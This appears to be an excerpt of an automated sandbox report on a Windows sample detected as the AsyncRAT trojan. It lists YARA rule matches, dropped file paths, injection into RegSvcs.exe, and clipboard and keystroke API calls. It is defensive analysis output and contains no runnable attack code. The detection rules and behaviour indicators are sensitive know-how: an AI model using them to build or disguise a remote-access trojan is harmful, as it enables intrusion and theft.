Source: Yara match	File source: 2.2.Wausaukee.exe.1870000.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000006.00000002.1597930274.0000000000532000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000002.1485447769.0000000000E60000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000002.1381107360.0000000001870000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: Wausaukee.exe PID: 7788, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: Wausaukee.exe PID: 7984, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: RegSvcs.exe PID: 8004, type: MEMORYSTR

Source: C:\Users\user\Desktop\egpTyFpA8v.exe

Code function: 0_2_004A4164 OpenClipboard,EmptyClipboard,GlobalAlloc,GlobalLock,_wcscpy,GlobalUnlock,OpenClipboard,EmptyClipboard,SetClipboardData,CloseClipboard,

0_2_004A4164

Source: C:\Users\user\Desktop\egpTyFpA8v.exe	Code function: 0_2_004A4164 OpenClipboard,EmptyClipboard,GlobalAlloc,GlobalLock,_wcscpy,GlobalUnlock,OpenClipboard,EmptyClipboard,SetClipboardData,CloseClipboard,		0_2_004A4164
Source: C:\Users\user\AppData\Local\preinhered\Wausaukee.exe	Code function: 2_2_009C4164 OpenClipboard,EmptyClipboard,GlobalAlloc,GlobalLock,_wcscpy,GlobalUnlock,OpenClipboard,EmptyClipboard,SetClipboardData,CloseClipboard,		2_2_009C4164

Source: C:\Users\user\Desktop\egpTyFpA8v.exe

Code function: 0_2_004A3F66 OpenClipboard,IsClipboardFormatAvailable,IsClipboardFormatAvailable,GetClipboardData,CloseClipboard,GlobalLock,CloseClipboard,GlobalUnlock,IsClipboardFormatAvailable,GetClipboardData,GlobalLock,GlobalUnlock,IsClipboardFormatAvailable,GetClipboardData,GlobalLock,DragQueryFileW,DragQueryFileW,DragQueryFileW,GlobalUnlock,CountClipboardFormats,CloseClipboard,

0_2_004A3F66

Source: C:\Users\user\Desktop\egpTyFpA8v.exe

Code function: 0_2_0049001C GetKeyboardState,SetKeyboardState,GetAsyncKeyState,GetAsyncKeyState,GetKeyState,GetKeyState,GetAsyncKeyState,GetKeyState,GetAsyncKeyState,GetKeyState,GetAsyncKeyState,GetKeyState,GetAsyncKeyState,GetKeyState,

0_2_0049001C

Source: C:\Users\user\Desktop\egpTyFpA8v.exe	Code function: 0_2_004BCABC DefDlgProcW,SendMessageW,GetWindowLongW,SendMessageW,SendMessageW,_wcsncpy,GetKeyState,GetKeyState,GetKeyState,SendMessageW,GetKeyState,SendMessageW,SendMessageW,SendMessageW,ImageList_SetDragCursorImage,ImageList_BeginDrag,SetCapture,ClientToScreen,ImageList_DragEnter,InvalidateRect,ReleaseCapture,GetCursorPos,ScreenToClient,SendMessageW,SendMessageW,SendMessageW,SendMessageW,SendMessageW,SendMessageW,SendMessageW,GetCursorPos,ScreenToClient,GetParent,SendMessageW,SendMessageW,ClientToScreen,TrackPopupMenuEx,SendMessageW,SendMessageW,ClientToScreen,TrackPopupMenuEx,GetWindowLongW,		0_2_004BCABC
Source: C:\Users\user\AppData\Local\preinhered\Wausaukee.exe	Code function: 2_2_009DCABC DefDlgProcW,SendMessageW,GetWindowLongW,SendMessageW,SendMessageW,_wcsncpy,GetKeyState,GetKeyState,GetKeyState,SendMessageW,GetKeyState,SendMessageW,SendMessageW,SendMessageW,ImageList_SetDragCursorImage,ImageList_BeginDrag,SetCapture,ClientToScreen,ImageList_DragEnter,InvalidateRect,ReleaseCapture,GetCursorPos,ScreenToClient,SendMessageW,SendMessageW,SendMessageW,SendMessageW,SendMessageW,SendMessageW,SendMessageW,GetCursorPos,ScreenToClient,GetParent,SendMessageW,SendMessageW,ClientToScreen,TrackPopupMenuEx,SendMessageW,SendMessageW,ClientToScreen,TrackPopupMenuEx,GetWindowLongW,		2_2_009DCABC

System Summary

Malicious sample detected (through community Yara rule)

Source: 5.2.Wausaukee.exe.e60000.1.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Asyncrat_11a11ba1 Author: unknown
Source: 5.2.Wausaukee.exe.e60000.1.raw.unpack, type: UNPACKEDPE	Matched rule: Detect AsyncRAT based on specific strings Author: Sekoia.io
Source: 5.2.Wausaukee.exe.e60000.1.raw.unpack, type: UNPACKEDPE	Matched rule: Detects file containing reversed ASEP Autorun registry keys Author: ditekSHen
Source: 2.2.Wausaukee.exe.1870000.1.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Asyncrat_11a11ba1 Author: unknown
Source: 2.2.Wausaukee.exe.1870000.1.raw.unpack, type: UNPACKEDPE	Matched rule: Detect AsyncRAT based on specific strings Author: Sekoia.io
Source: 2.2.Wausaukee.exe.1870000.1.raw.unpack, type: UNPACKEDPE	Matched rule: Detects file containing reversed ASEP Autorun registry keys Author: ditekSHen
Source: 5.2.Wausaukee.exe.e60000.1.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Asyncrat_11a11ba1 Author: unknown
Source: 5.2.Wausaukee.exe.e60000.1.unpack, type: UNPACKEDPE	Matched rule: Detect AsyncRAT based on specific strings Author: Sekoia.io
Source: 5.2.Wausaukee.exe.e60000.1.unpack, type: UNPACKEDPE	Matched rule: Detects file containing reversed ASEP Autorun registry keys Author: ditekSHen
Source: 6.2.RegSvcs.exe.530000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Asyncrat_11a11ba1 Author: unknown
Source: 6.2.RegSvcs.exe.530000.0.unpack, type: UNPACKEDPE	Matched rule: Detect AsyncRAT based on specific strings Author: Sekoia.io
Source: 6.2.RegSvcs.exe.530000.0.unpack, type: UNPACKEDPE	Matched rule: Detects file containing reversed ASEP Autorun registry keys Author: ditekSHen
Source: 2.2.Wausaukee.exe.1870000.1.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Asyncrat_11a11ba1 Author: unknown
Source: 2.2.Wausaukee.exe.1870000.1.unpack, type: UNPACKEDPE	Matched rule: Detect AsyncRAT based on specific strings Author: Sekoia.io
Source: 2.2.Wausaukee.exe.1870000.1.unpack, type: UNPACKEDPE	Matched rule: Detects file containing reversed ASEP Autorun registry keys Author: ditekSHen
Source: 00000006.00000002.1597930274.0000000000532000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Detects file containing reversed ASEP Autorun registry keys Author: ditekSHen
Source: 00000005.00000002.1485447769.0000000000E60000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Asyncrat_11a11ba1 Author: unknown
Source: 00000005.00000002.1485447769.0000000000E60000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Detect AsyncRAT based on specific strings Author: Sekoia.io
Source: 00000005.00000002.1485447769.0000000000E60000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Detects file containing reversed ASEP Autorun registry keys Author: ditekSHen
Source: 00000002.00000002.1381107360.0000000001870000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Asyncrat_11a11ba1 Author: unknown
Source: 00000002.00000002.1381107360.0000000001870000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Detect AsyncRAT based on specific strings Author: Sekoia.io
Source: 00000002.00000002.1381107360.0000000001870000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Detects file containing reversed ASEP Autorun registry keys Author: ditekSHen
Source: Process Memory Space: Wausaukee.exe PID: 7788, type: MEMORYSTR	Matched rule: Detects file containing reversed ASEP Autorun registry keys Author: ditekSHen
Source: Process Memory Space: RegSvcs.exe PID: 8004, type: MEMORYSTR	Matched rule: Detects file containing reversed ASEP Autorun registry keys Author: ditekSHen

Binary is likely a compiled AutoIt script file

Source: C:\Users\user\Desktop\egpTyFpA8v.exe	Code function: This is a third-party compiled AutoIt script.	0_2_00433B3A
Source: egpTyFpA8v.exe	String found in binary or memory: This is a third-party compiled AutoIt script.
Source: egpTyFpA8v.exe, 00000000.00000000.1351470392.00000000004E4000.00000002.00000001.01000000.00000003.sdmp	String found in binary or memory: This is a third-party compiled AutoIt script.	memstr_aa894530-7
Source: egpTyFpA8v.exe, 00000000.00000000.1351470392.00000000004E4000.00000002.00000001.01000000.00000003.sdmp	String found in binary or memory: SDSOFTWARE\Classes\\CLSID\\\IPC$This is a third-party compiled AutoIt script."runasError allocating memory.SeAssignPrimaryTokenPrivilegeSeIncreaseQuotaPrivilegeSeBackupPrivilegeSeRestorePrivilegewinsta0defaultwinsta0\defaultComboBoxListBox\|SHELLDLL_DefViewlargeiconsdetailssmalliconslistCLASSCLASSNNREGEXPCLASSIDNAMEXYWHINSTANCETEXT%s%u%s%dLAST[LASTACTIVE[ACTIVEHANDLE=[HANDLE:REGEXP=[REGEXPTITLE:CLASSNAME=[CLASS:ALL[ALL]HANDLEREGEXPTITLETITLEThumbnailClassAutoIt3GUIContainer`	memstr_18edf360-a
Source: egpTyFpA8v.exe, 00000000.00000003.1358945884.00000000038D3000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: This is a third-party compiled AutoIt script.	memstr_f204f1a2-6
Source: egpTyFpA8v.exe, 00000000.00000003.1358945884.00000000038D3000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: SDSOFTWARE\Classes\\CLSID\\\IPC$This is a third-party compiled AutoIt script."runasError allocating memory.SeAssignPrimaryTokenPrivilegeSeIncreaseQuotaPrivilegeSeBackupPrivilegeSeRestorePrivilegewinsta0defaultwinsta0\defaultComboBoxListBox\|SHELLDLL_DefViewlargeiconsdetailssmalliconslistCLASSCLASSNNREGEXPCLASSIDNAMEXYWHINSTANCETEXT%s%u%s%dLAST[LASTACTIVE[ACTIVEHANDLE=[HANDLE:REGEXP=[REGEXPTITLE:CLASSNAME=[CLASS:ALL[ALL]HANDLEREGEXPTITLETITLEThumbnailClassAutoIt3GUIContainer`	memstr_08cd4199-9
Source: C:\Users\user\AppData\Local\preinhered\Wausaukee.exe	Code function: This is a third-party compiled AutoIt script.	2_2_00953B3A
Source: Wausaukee.exe	String found in binary or memory: This is a third-party compiled AutoIt script.
Source: Wausaukee.exe, 00000002.00000002.1380472988.0000000000A04000.00000002.00000001.01000000.00000004.sdmp	String found in binary or memory: This is a third-party compiled AutoIt script.	memstr_a9cbac8c-9
Source: Wausaukee.exe, 00000002.00000002.1380472988.0000000000A04000.00000002.00000001.01000000.00000004.sdmp	String found in binary or memory: SDSOFTWARE\Classes\\CLSID\\\IPC$This is a third-party compiled AutoIt script."runasError allocating memory.SeAssignPrimaryTokenPrivilegeSeIncreaseQuotaPrivilegeSeBackupPrivilegeSeRestorePrivilegewinsta0defaultwinsta0\defaultComboBoxListBox\|SHELLDLL_DefViewlargeiconsdetailssmalliconslistCLASSCLASSNNREGEXPCLASSIDNAMEXYWHINSTANCETEXT%s%u%s%dLAST[LASTACTIVE[ACTIVEHANDLE=[HANDLE:REGEXP=[REGEXPTITLE:CLASSNAME=[CLASS:ALL[ALL]HANDLEREGEXPTITLETITLEThumbnailClassAutoIt3GUIContainer`	memstr_8704e3bd-f
Source: Wausaukee.exe, 00000005.00000002.1482983503.0000000000A04000.00000002.00000001.01000000.00000004.sdmp	String found in binary or memory: This is a third-party compiled AutoIt script.	memstr_b9218811-7
Source: Wausaukee.exe, 00000005.00000002.1482983503.0000000000A04000.00000002.00000001.01000000.00000004.sdmp	String found in binary or memory: SDSOFTWARE\Classes\\CLSID\\\IPC$This is a third-party compiled AutoIt script."runasError allocating memory.SeAssignPrimaryTokenPrivilegeSeIncreaseQuotaPrivilegeSeBackupPrivilegeSeRestorePrivilegewinsta0defaultwinsta0\defaultComboBoxListBox\|SHELLDLL_DefViewlargeiconsdetailssmalliconslistCLASSCLASSNNREGEXPCLASSIDNAMEXYWHINSTANCETEXT%s%u%s%dLAST[LASTACTIVE[ACTIVEHANDLE=[HANDLE:REGEXP=[REGEXPTITLE:CLASSNAME=[CLASS:ALL[ALL]HANDLEREGEXPTITLETITLEThumbnailClassAutoIt3GUIContainer`	memstr_dd1835f2-e
Source: egpTyFpA8v.exe	String found in binary or memory: This is a third-party compiled AutoIt script.	memstr_90f1f3e9-8
Source: egpTyFpA8v.exe	String found in binary or memory: SDSOFTWARE\Classes\\CLSID\\\IPC$This is a third-party compiled AutoIt script."runasError allocating memory.SeAssignPrimaryTokenPrivilegeSeIncreaseQuotaPrivilegeSeBackupPrivilegeSeRestorePrivilegewinsta0defaultwinsta0\defaultComboBoxListBox\|SHELLDLL_DefViewlargeiconsdetailssmalliconslistCLASSCLASSNNREGEXPCLASSIDNAMEXYWHINSTANCETEXT%s%u%s%dLAST[LASTACTIVE[ACTIVEHANDLE=[HANDLE:REGEXP=[REGEXPTITLE:CLASSNAME=[CLASS:ALL[ALL]HANDLEREGEXPTITLETITLEThumbnailClassAutoIt3GUIContainer`	memstr_c5956f9c-4
Source: Wausaukee.exe.0.dr	String found in binary or memory: This is a third-party compiled AutoIt script.	memstr_4cc885ca-f
Source: Wausaukee.exe.0.dr	String found in binary or memory: SDSOFTWARE\Classes\\CLSID\\\IPC$This is a third-party compiled AutoIt script."runasError allocating memory.SeAssignPrimaryTokenPrivilegeSeIncreaseQuotaPrivilegeSeBackupPrivilegeSeRestorePrivilegewinsta0defaultwinsta0\defaultComboBoxListBox\|SHELLDLL_DefViewlargeiconsdetailssmalliconslistCLASSCLASSNNREGEXPCLASSIDNAMEXYWHINSTANCETEXT%s%u%s%dLAST[LASTACTIVE[ACTIVEHANDLE=[HANDLE:REGEXP=[REGEXPTITLE:CLASSNAME=[CLASS:ALL[ALL]HANDLEREGEXPTITLETITLEThumbnailClassAutoIt3GUIContainer`	memstr_651a2da3-9

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Source: C:\Windows\System32\wscript.exe

COM Object queried: Windows Script Host Shell Object HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{72C24DD5-D70A-438B-8A42-98424B88AFB8}

Jump to behavior

Source: C:\Users\user\Desktop\egpTyFpA8v.exe

Code function: 0_2_0049A1EF: GetFullPathNameW,__swprintf,CreateDirectoryW,CreateFileW,_memset,_wcsncpy,DeviceIoControl,CloseHandle,RemoveDirectoryW,CloseHandle,

0_2_0049A1EF

Source: C:\Users\user\Desktop\egpTyFpA8v.exe

Code function: 0_2_00488310 _memset,DuplicateTokenEx,CloseHandle,OpenWindowStationW,GetProcessWindowStation,SetProcessWindowStation,OpenDesktopW,_wcscpy,LoadUserProfileW,CreateEnvironmentBlock,CreateProcessAsUserW,UnloadUserProfile,CloseWindowStation,CloseDesktop,SetProcessWindowStation,CloseHandle,DestroyEnvironmentBlock,

0_2_00488310

Source: C:\Users\user\Desktop\egpTyFpA8v.exe	Code function: 0_2_004951BD ExitWindowsEx,InitiateSystemShutdownExW,SetSystemPowerState,		0_2_004951BD
Source: C:\Users\user\AppData\Local\preinhered\Wausaukee.exe	Code function: 2_2_009B51BD ExitWindowsEx,InitiateSystemShutdownExW,SetSystemPowerState,		2_2_009B51BD

Source: C:\Users\user\Desktop\egpTyFpA8v.exe	Code function: 0_2_0043E6A0	0_2_0043E6A0
Source: C:\Users\user\Desktop\egpTyFpA8v.exe	Code function: 0_2_0045D975	0_2_0045D975
Source: C:\Users\user\Desktop\egpTyFpA8v.exe	Code function: 0_2_0043FCE0	0_2_0043FCE0
Source: C:\Users\user\Desktop\egpTyFpA8v.exe	Code function: 0_2_004521C5	0_2_004521C5
Source: C:\Users\user\Desktop\egpTyFpA8v.exe	Code function: 0_2_004662D2	0_2_004662D2
Source: C:\Users\user\Desktop\egpTyFpA8v.exe	Code function: 0_2_004B03DA	0_2_004B03DA
Source: C:\Users\user\Desktop\egpTyFpA8v.exe	Code function: 0_2_0046242E	0_2_0046242E
Source: C:\Users\user\Desktop\egpTyFpA8v.exe	Code function: 0_2_004525FA	0_2_004525FA
Source: C:\Users\user\Desktop\egpTyFpA8v.exe	Code function: 0_2_0048E616	0_2_0048E616
Source: C:\Users\user\Desktop\egpTyFpA8v.exe	Code function: 0_2_004466E1	0_2_004466E1
Source: C:\Users\user\Desktop\egpTyFpA8v.exe	Code function: 0_2_0046878F	0_2_0046878F
Source: C:\Users\user\Desktop\egpTyFpA8v.exe	Code function: 0_2_00466844	0_2_00466844
Source: C:\Users\user\Desktop\egpTyFpA8v.exe	Code function: 0_2_004B0857	0_2_004B0857
Source: C:\Users\user\Desktop\egpTyFpA8v.exe	Code function: 0_2_00448808	0_2_00448808
Source: C:\Users\user\Desktop\egpTyFpA8v.exe	Code function: 0_2_00498889	0_2_00498889
Source: C:\Users\user\Desktop\egpTyFpA8v.exe	Code function: 0_2_0045CB21	0_2_0045CB21
Source: C:\Users\user\Desktop\egpTyFpA8v.exe	Code function: 0_2_00466DB6	0_2_00466DB6
Source: C:\Users\user\Desktop\egpTyFpA8v.exe	Code function: 0_2_00446F9E	0_2_00446F9E
Source: C:\Users\user\Desktop\egpTyFpA8v.exe	Code function: 0_2_00443030	0_2_00443030
Source: C:\Users\user\Desktop\egpTyFpA8v.exe	Code function: 0_2_0045F1D9	0_2_0045F1D9
Source: C:\Users\user\Desktop\egpTyFpA8v.exe	Code function: 0_2_00453187	0_2_00453187
Source: C:\Users\user\Desktop\egpTyFpA8v.exe	Code function: 0_2_00431287	0_2_00431287
Source: C:\Users\user\Desktop\egpTyFpA8v.exe	Code function: 0_2_00451484	0_2_00451484
Source: C:\Users\user\Desktop\egpTyFpA8v.exe	Code function: 0_2_00445520	0_2_00445520
Source: C:\Users\user\Desktop\egpTyFpA8v.exe	Code function: 0_2_00457696	0_2_00457696
Source: C:\Users\user\Desktop\egpTyFpA8v.exe	Code function: 0_2_00445760	0_2_00445760
Source: C:\Users\user\Desktop\egpTyFpA8v.exe	Code function: 0_2_00451978	0_2_00451978
Source: C:\Users\user\Desktop\egpTyFpA8v.exe	Code function: 0_2_00469AB5	0_2_00469AB5
Source: C:\Users\user\Desktop\egpTyFpA8v.exe	Code function: 0_2_004B7DDB	0_2_004B7DDB
Source: C:\Users\user\Desktop\egpTyFpA8v.exe	Code function: 0_2_00451D90	0_2_00451D90
Source: C:\Users\user\Desktop\egpTyFpA8v.exe	Code function: 0_2_0045BDA6	0_2_0045BDA6
Source: C:\Users\user\Desktop\egpTyFpA8v.exe	Code function: 0_2_0043DF00	0_2_0043DF00
Source: C:\Users\user\Desktop\egpTyFpA8v.exe	Code function: 0_2_00443FE0	0_2_00443FE0
Source: C:\Users\user\Desktop\egpTyFpA8v.exe	Code function: 0_2_00EED278	0_2_00EED278
Source: C:\Users\user\AppData\Local\preinhered\Wausaukee.exe	Code function: 2_2_0095E6A0	2_2_0095E6A0
Source: C:\Users\user\AppData\Local\preinhered\Wausaukee.exe	Code function: 2_2_0097D975	2_2_0097D975
Source: C:\Users\user\AppData\Local\preinhered\Wausaukee.exe	Code function: 2_2_0095FCE0	2_2_0095FCE0
Source: C:\Users\user\AppData\Local\preinhered\Wausaukee.exe	Code function: 2_2_009721C5	2_2_009721C5
Source: C:\Users\user\AppData\Local\preinhered\Wausaukee.exe	Code function: 2_2_009862D2	2_2_009862D2
Source: C:\Users\user\AppData\Local\preinhered\Wausaukee.exe	Code function: 2_2_009D03DA	2_2_009D03DA
Source: C:\Users\user\AppData\Local\preinhered\Wausaukee.exe	Code function: 2_2_0098242E	2_2_0098242E
Source: C:\Users\user\AppData\Local\preinhered\Wausaukee.exe	Code function: 2_2_009725FA	2_2_009725FA
Source: C:\Users\user\AppData\Local\preinhered\Wausaukee.exe	Code function: 2_2_009666E1	2_2_009666E1
Source: C:\Users\user\AppData\Local\preinhered\Wausaukee.exe	Code function: 2_2_009AE616	2_2_009AE616
Source: C:\Users\user\AppData\Local\preinhered\Wausaukee.exe	Code function: 2_2_0098878F	2_2_0098878F
Source: C:\Users\user\AppData\Local\preinhered\Wausaukee.exe	Code function: 2_2_009B8889	2_2_009B8889
Source: C:\Users\user\AppData\Local\preinhered\Wausaukee.exe	Code function: 2_2_00968808	2_2_00968808
Source: C:\Users\user\AppData\Local\preinhered\Wausaukee.exe	Code function: 2_2_009D0857	2_2_009D0857
Source: C:\Users\user\AppData\Local\preinhered\Wausaukee.exe	Code function: 2_2_00986844	2_2_00986844
Source: C:\Users\user\AppData\Local\preinhered\Wausaukee.exe	Code function: 2_2_0097CB21	2_2_0097CB21
Source: C:\Users\user\AppData\Local\preinhered\Wausaukee.exe	Code function: 2_2_00986DB6	2_2_00986DB6
Source: C:\Users\user\AppData\Local\preinhered\Wausaukee.exe	Code function: 2_2_00966F9E	2_2_00966F9E
Source: C:\Users\user\AppData\Local\preinhered\Wausaukee.exe	Code function: 2_2_00963030	2_2_00963030
Source: C:\Users\user\AppData\Local\preinhered\Wausaukee.exe	Code function: 2_2_00973187	2_2_00973187
Source: C:\Users\user\AppData\Local\preinhered\Wausaukee.exe	Code function: 2_2_0097F1D9	2_2_0097F1D9
Source: C:\Users\user\AppData\Local\preinhered\Wausaukee.exe	Code function: 2_2_00951287	2_2_00951287
Source: C:\Users\user\AppData\Local\preinhered\Wausaukee.exe	Code function: 2_2_00971484	2_2_00971484
Source: C:\Users\user\AppData\Local\preinhered\Wausaukee.exe	Code function: 2_2_00965520	2_2_00965520
Source: C:\Users\user\AppData\Local\preinhered\Wausaukee.exe	Code function: 2_2_00977696	2_2_00977696
Source: C:\Users\user\AppData\Local\preinhered\Wausaukee.exe	Code function: 2_2_00965760	2_2_00965760
Source: C:\Users\user\AppData\Local\preinhered\Wausaukee.exe	Code function: 2_2_00971978	2_2_00971978
Source: C:\Users\user\AppData\Local\preinhered\Wausaukee.exe	Code function: 2_2_00989AB5	2_2_00989AB5
Source: C:\Users\user\AppData\Local\preinhered\Wausaukee.exe	Code function: 2_2_00971D90	2_2_00971D90
Source: C:\Users\user\AppData\Local\preinhered\Wausaukee.exe	Code function: 2_2_0097BDA6	2_2_0097BDA6
Source: C:\Users\user\AppData\Local\preinhered\Wausaukee.exe	Code function: 2_2_009D7DDB	2_2_009D7DDB
Source: C:\Users\user\AppData\Local\preinhered\Wausaukee.exe	Code function: 2_2_00963FE0	2_2_00963FE0
Source: C:\Users\user\AppData\Local\preinhered\Wausaukee.exe	Code function: 2_2_0095DF00	2_2_0095DF00
Source: C:\Users\user\AppData\Local\preinhered\Wausaukee.exe	Code function: 2_2_00C7E358	2_2_00C7E358
Source: C:\Users\user\AppData\Local\preinhered\Wausaukee.exe	Code function: 5_2_00F1E3A8	5_2_00F1E3A8

Source: C:\Users\user\AppData\Local\preinhered\Wausaukee.exe	Code function: String function: 00978900 appears 42 times
Source: C:\Users\user\AppData\Local\preinhered\Wausaukee.exe	Code function: String function: 00970AE3 appears 70 times
Source: C:\Users\user\AppData\Local\preinhered\Wausaukee.exe	Code function: String function: 00957DE1 appears 36 times
Source: C:\Users\user\Desktop\egpTyFpA8v.exe	Code function: String function: 00437DE1 appears 36 times
Source: C:\Users\user\Desktop\egpTyFpA8v.exe	Code function: String function: 00450AE3 appears 70 times
Source: C:\Users\user\Desktop\egpTyFpA8v.exe	Code function: String function: 00458900 appears 42 times

Source: egpTyFpA8v.exe

Static PE information: EXECUTABLE_IMAGE, LARGE_ADDRESS_AWARE, 32BIT_MACHINE

Source: 5.2.Wausaukee.exe.e60000.1.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Asyncrat_11a11ba1 reference_sample = fe09cd1d13b87c5e970d3cbc1ebc02b1523c0a939f961fc02c1395707af1c6d1, os = windows, severity = x86, creation_date = 2021-08-05, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Asyncrat, fingerprint = 715ede969076cd413cebdfcf0cdda44e3a6feb5343558f18e656f740883b41b8, id = 11a11ba1-c178-4415-9c09-45030b500f50, last_modified = 2021-10-04
Source: 5.2.Wausaukee.exe.e60000.1.raw.unpack, type: UNPACKEDPE	Matched rule: rat_win_asyncrat author = Sekoia.io, description = Detect AsyncRAT based on specific strings, creation_date = 2023-01-25, classification = TLP:CLEAR, version = 1.0, id = d698e4a1-77ff-4cd7-acb3-27fb16168ceb
Source: 5.2.Wausaukee.exe.e60000.1.raw.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_ASEP_REG_Reverse author = ditekSHen, description = Detects file containing reversed ASEP Autorun registry keys
Source: 2.2.Wausaukee.exe.1870000.1.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Asyncrat_11a11ba1 reference_sample = fe09cd1d13b87c5e970d3cbc1ebc02b1523c0a939f961fc02c1395707af1c6d1, os = windows, severity = x86, creation_date = 2021-08-05, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Asyncrat, fingerprint = 715ede969076cd413cebdfcf0cdda44e3a6feb5343558f18e656f740883b41b8, id = 11a11ba1-c178-4415-9c09-45030b500f50, last_modified = 2021-10-04
Source: 2.2.Wausaukee.exe.1870000.1.raw.unpack, type: UNPACKEDPE	Matched rule: rat_win_asyncrat author = Sekoia.io, description = Detect AsyncRAT based on specific strings, creation_date = 2023-01-25, classification = TLP:CLEAR, version = 1.0, id = d698e4a1-77ff-4cd7-acb3-27fb16168ceb
Source: 2.2.Wausaukee.exe.1870000.1.raw.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_ASEP_REG_Reverse author = ditekSHen, description = Detects file containing reversed ASEP Autorun registry keys
Source: 5.2.Wausaukee.exe.e60000.1.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Asyncrat_11a11ba1 reference_sample = fe09cd1d13b87c5e970d3cbc1ebc02b1523c0a939f961fc02c1395707af1c6d1, os = windows, severity = x86, creation_date = 2021-08-05, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Asyncrat, fingerprint = 715ede969076cd413cebdfcf0cdda44e3a6feb5343558f18e656f740883b41b8, id = 11a11ba1-c178-4415-9c09-45030b500f50, last_modified = 2021-10-04
Source: 5.2.Wausaukee.exe.e60000.1.unpack, type: UNPACKEDPE	Matched rule: rat_win_asyncrat author = Sekoia.io, description = Detect AsyncRAT based on specific strings, creation_date = 2023-01-25, classification = TLP:CLEAR, version = 1.0, id = d698e4a1-77ff-4cd7-acb3-27fb16168ceb
Source: 5.2.Wausaukee.exe.e60000.1.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_ASEP_REG_Reverse author = ditekSHen, description = Detects file containing reversed ASEP Autorun registry keys
Source: 6.2.RegSvcs.exe.530000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Asyncrat_11a11ba1 reference_sample = fe09cd1d13b87c5e970d3cbc1ebc02b1523c0a939f961fc02c1395707af1c6d1, os = windows, severity = x86, creation_date = 2021-08-05, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Asyncrat, fingerprint = 715ede969076cd413cebdfcf0cdda44e3a6feb5343558f18e656f740883b41b8, id = 11a11ba1-c178-4415-9c09-45030b500f50, last_modified = 2021-10-04
Source: 6.2.RegSvcs.exe.530000.0.unpack, type: UNPACKEDPE	Matched rule: rat_win_asyncrat author = Sekoia.io, description = Detect AsyncRAT based on specific strings, creation_date = 2023-01-25, classification = TLP:CLEAR, version = 1.0, id = d698e4a1-77ff-4cd7-acb3-27fb16168ceb
Source: 6.2.RegSvcs.exe.530000.0.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_ASEP_REG_Reverse author = ditekSHen, description = Detects file containing reversed ASEP Autorun registry keys
Source: 2.2.Wausaukee.exe.1870000.1.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Asyncrat_11a11ba1 reference_sample = fe09cd1d13b87c5e970d3cbc1ebc02b1523c0a939f961fc02c1395707af1c6d1, os = windows, severity = x86, creation_date = 2021-08-05, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Asyncrat, fingerprint = 715ede969076cd413cebdfcf0cdda44e3a6feb5343558f18e656f740883b41b8, id = 11a11ba1-c178-4415-9c09-45030b500f50, last_modified = 2021-10-04
Source: 2.2.Wausaukee.exe.1870000.1.unpack, type: UNPACKEDPE	Matched rule: rat_win_asyncrat author = Sekoia.io, description = Detect AsyncRAT based on specific strings, creation_date = 2023-01-25, classification = TLP:CLEAR, version = 1.0, id = d698e4a1-77ff-4cd7-acb3-27fb16168ceb
Source: 2.2.Wausaukee.exe.1870000.1.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_ASEP_REG_Reverse author = ditekSHen, description = Detects file containing reversed ASEP Autorun registry keys
Source: 00000006.00000002.1597930274.0000000000532000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: INDICATOR_SUSPICIOUS_EXE_ASEP_REG_Reverse author = ditekSHen, description = Detects file containing reversed ASEP Autorun registry keys
Source: 00000005.00000002.1485447769.0000000000E60000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Asyncrat_11a11ba1 reference_sample = fe09cd1d13b87c5e970d3cbc1ebc02b1523c0a939f961fc02c1395707af1c6d1, os = windows, severity = x86, creation_date = 2021-08-05, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Asyncrat, fingerprint = 715ede969076cd413cebdfcf0cdda44e3a6feb5343558f18e656f740883b41b8, id = 11a11ba1-c178-4415-9c09-45030b500f50, last_modified = 2021-10-04
